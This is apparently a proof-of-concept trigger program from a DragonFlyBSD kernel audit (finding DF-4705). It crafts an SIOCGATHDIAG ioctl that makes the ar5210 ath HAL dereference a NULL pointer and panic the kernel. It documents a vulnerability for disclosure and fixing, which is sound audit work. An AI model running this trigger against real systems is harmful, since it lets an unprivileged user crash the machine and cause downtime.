⬢ DragonFlyBSD Kernel Audit
DF-4705 / trigger.c
← back to finding ↓ download raw
/*
 * DF-4705 - ar5210GetDiagState HAL_DIAG_EEREAD NULL-args read -> kernel panic
 *
 * SIOCGATHDIAG with:
 *   ad_id      = ATH_DIAG_DYN | HAL_DIAG_EEREAD   (0x8011)
 *   ad_in_size = 2          -> passes the argsize==sizeof(uint16_t) check
 *                              (ar5210_misc.c:638)
 *   ATH_DIAG_IN *NOT* set   -> ath_ioctl_diag leaves indata == NULL
 *                              (if_ath_ioctl.c:174,180-192) -> args == NULL
 *   ATH_DIAG_DYN set        -> outdata = kmalloc(2): *result is a VALID
 *                              pointer, so the only NULL deref at
 *                              ar5210_misc.c:642 is `*(const uint16_t *)args`
 *                              (this is what discriminates this finding from
 *                              the known DF-1819 *result==NULL write)
 *
 * Requires: kernel built with options ATH_DIAGAPI (not in stock GENERIC),
 *           an ath(4) interface backed by ar5210 HAL, unprivileged socket.
 * On such a system: ar5210_misc.c:642 reads 2 bytes from NULL ->
 * kernel page fault -> panic.  On the stock audit guest: no ath device /
 * no ATH_DIAGAPI -> ioctl fails harmlessly (harmless exit documented).
 */
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#include <net/if.h>

/* trimmed from sys/dev/netif/ath/ath/if_athioctl.h (not installed in
 * /usr/include on the guest) */
#define ATH_DIAG_DYN	0x8000
#define ATH_DIAG_IN	0x4000
#define ATH_DIAG_ID	0x0fff
#define HAL_DIAG_EEREAD	17

struct ath_diag_df {
	char	ad_name[IFNAMSIZ];
	unsigned short ad_id;
	unsigned short ad_in_size;
	char	*ad_in_data;
	char	*ad_out_data;
	unsigned int ad_out_size;
};

#define SIOCGATHDIAG_DF	_IOWR('i', 138, struct ath_diag_df)

int
main(void)
{
	struct ath_diag_df ad;
	char outbuf[2];
	int s, error;

	memset(&ad, 0, sizeof(ad));
	strcpy(ad.ad_name, "ath0");
	ad.ad_id = ATH_DIAG_DYN | HAL_DIAG_EEREAD;	/* NO ATH_DIAG_IN */
	ad.ad_in_size = 2;				/* passes argsize check */
	ad.ad_in_data = NULL;				/* args == NULL in HAL */
	ad.ad_out_data = outbuf;			/* valid -> *result OK */
	ad.ad_out_size = sizeof(outbuf);

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) {
		perror("socket");
		return (1);
	}
	error = ioctl(s, SIOCGATHDIAG_DF, &ad);
	printf("ioctl SIOCGATHDIAG -> %d errno=%d (%s)\n",
	    error, errno, strerror(errno));
	if (error == 0)
		printf("EEPROM word = 0x%02x%02x (no panic: not ar5210?)\n",
		    outbuf[1], outbuf[0]);
	else
		printf("expected on gate-absent guest: harmless error, "
		    "no panic\n");
	close(s);
	return (0);
}